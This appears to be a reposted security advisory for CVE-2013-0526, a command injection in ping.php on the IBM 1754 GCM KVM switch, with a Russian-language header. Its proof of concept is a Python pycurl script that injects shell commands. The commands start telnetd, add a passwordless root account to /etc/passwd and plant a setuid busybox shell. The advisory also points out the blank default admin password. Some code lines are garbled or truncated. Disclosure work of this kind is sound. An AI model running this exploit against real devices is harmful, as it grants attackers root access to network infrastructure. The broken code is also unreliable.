IBM 1754 GCM - Remote Command Execution Exploit


Дата публикации:
IBM 1754 GCM
Тип воздействия:
Компрометация системы
Описание уязвимости:
Компрометация системы в IBM Global Console Manager


I. Product description
The IBM 1754 GCM family provides KVM over IP and serial console management
technology in a single appliance.
II. Vulnerability information
Impact: Command execution
Remotely exploitable: yes
CVE: 2013-0526
CVS Score: 8.5
III. Vulnerability details
GCM16 (v. and older versions of this KVM switch contain a flaw
that allows a remote authenticated user to execute unauthorized commands as
This flaw exist because webapp variables are not sanitised. In this case,
parameters $count and $size from ping.php allow to create a special crafted
URL to inject text to an exec() so it can be arbitrary used to execute any
command on the KVM embedded linux.
IV. Proof of concept
Following is a simple exploit that lead to root access to the device,
opening a telnet and creating a new user with root permission without
password (sessid and target are hardcoded so it must be changed to work):
This exploit for Avocent KVM switch allows to gain root access to embedded
device. SessionId (avctSessionId) is neccesary for this to work, so you
need a valid user. Default user is "Admin" with blank password.
After running exploit, connect using telnet to device with user target
(pass: target) then do "/tmp/su - superb" to gain root
from StringIO import StringIO
import pycurl
import re
sessid = "XXXXXXXXX"
target = "https://ip.of.kvm/ping.php" <>
command = "/sbin/telnetd ; echo superb::0:0:owned:/:/bin/sh >> /etc/passwd
; cp /bin/busybox /tmp/su ; chmod 6755 /tmp/su ; echo done. now connect to
device using telnet with user target and pass target, then \"/tmp/su -
storage = StringIO()
c = pycurl.Curl()
c.setopt(c.URL, target)
c.setopt(c.POSTFIELDS, 'address=
; echo *E* ; ' + command + ' ; echo *E*')
c.setopt(c.COOKIE,'avctSessionId=' + sessid)
     print ""
content = storage.getvalue()
x1 ="\*E\*(.*)\*E\*",content)
print"<br />","\n")
V. Vendor Response
IBM released a new firmware that corrects this vulnerability (
VI. Timeline
2013-06-12 - Vendor (IBM PSIRT) notified.
2013-06-12 - Vendor assigns internal ID.
2013-07-02 - Vendor confirms the vulnerability.
2013-08-16 - Vulnerability disclosed and patch released.
VII. External information
Information about this vulnerability (in spanish):
IBM Security Bulletin:
Alejandro Alvarez Bravo